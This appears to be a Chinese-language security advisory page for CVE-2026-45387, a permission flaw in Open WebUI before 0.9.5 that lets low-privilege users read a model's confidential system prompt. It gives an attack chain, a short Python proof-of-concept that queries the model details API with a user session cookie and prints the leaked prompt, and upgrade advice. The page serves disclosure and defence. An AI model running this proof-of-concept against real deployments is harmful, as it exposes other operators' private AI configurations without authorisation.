IPBUF安全漏洞报告
English
CVE-2026-45387 CVSS 4.3 中危

CVE-2026-45387 Open WebUI系统提示信息泄露漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45387
漏洞类型
信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

信息泄露权限管理Open WebUICVE-2026-45387

漏洞概述

Open WebUI是一个自托管的人工智能平台。在0.9.5版本之前,存在一个权限配置逻辑缺陷。当管理员为用户组设置模型权限以允许“读取”访问时,本意是让用户能够使用该模型,但该权限实际上也允许用户读取模型的“系统提示词”。由于用户通常将系统提示词视为机密信息,包含特定的指令或上下文,因此这种未经授权的访问构成了信息泄露安全漏洞,攻击者可利用此漏洞获取敏感的模型配置信息。

技术细节

该漏洞源于Open WebUI在模型资源权限检查机制上的逻辑缺陷。系统未能有效区分对模型的“使用权限”与对模型内部配置(特别是系统提示词)的“查看权限”。当用户被授予对某个模型对象的读取权限时,后端API在返回模型数据时,直接返回了完整的对象结构,其中包含了`system_prompt`字段,而未进一步验证该用户是否被显式授权查看内部配置。这违反了最小权限原则。攻击者只需拥有低权限账户,并被加入到具有目标模型读取权限的用户组中,即可通过调用模型详情查询接口或相关端点,获取本应仅管理员可见的系统提示词内容。这可能导致专有的AI指令逻辑、防御机制或敏感的Prompt工程信息泄露。

攻击链分析

STEP 1
1. 获取低权限访问
攻击者注册或获取一个普通用户账户,并被管理员加入到拥有模型读取权限的用户组中。
STEP 2
2. 发起模型查询请求
攻击者利用该账户访问Open WebUI的API接口,请求获取特定模型的详细信息或配置。
STEP 3
3. 提取敏感信息
由于漏洞存在,服务器返回了完整的模型对象,攻击者从响应数据中解析出本应保密的system_prompt字段,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 import requests # Vulnerability Proof of Concept for CVE-2026-45387 # Description: Demonstrates how a low-privilege user can read the system prompt of a model. target_url = "http://localhost:3000" model_id = "llama3-70b" # Example model ID session_cookie = "session_token_here" # Low-privilege user session headers = { "Cookie": f"session={session_cookie}", "Content-Type": "application/json" } # Endpoint to fetch model details (vulnerable endpoint) endpoint = f"{target_url}/api/models/{model_id}" print(f"[*] Attempting to fetch details for model: {model_id}") try: response = requests.get(endpoint, headers=headers) if response.status_code == 200: data = response.json() # Check if system_prompt is exposed if "system_prompt" in data or "prompt" in data: print("[+] Vulnerability Confirmed!") print(f"[+] Leaked System Prompt: {data.get('system_prompt', data.get('prompt'))}") else: print("[-] System prompt not found in response (might be patched or different endpoint)") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

影响范围

Open WebUI < 0.9.5

防御指南

临时缓解措施
建议立即升级至0.9.5或更高版本以修复此权限绕过问题。在无法立即升级的情况下,管理员应严格审查受信任的用户组,确保只有核心管理员成员拥有对敏感模型的访问权限,避免将模型共享给不可信的普通用户组,以防系统提示词泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表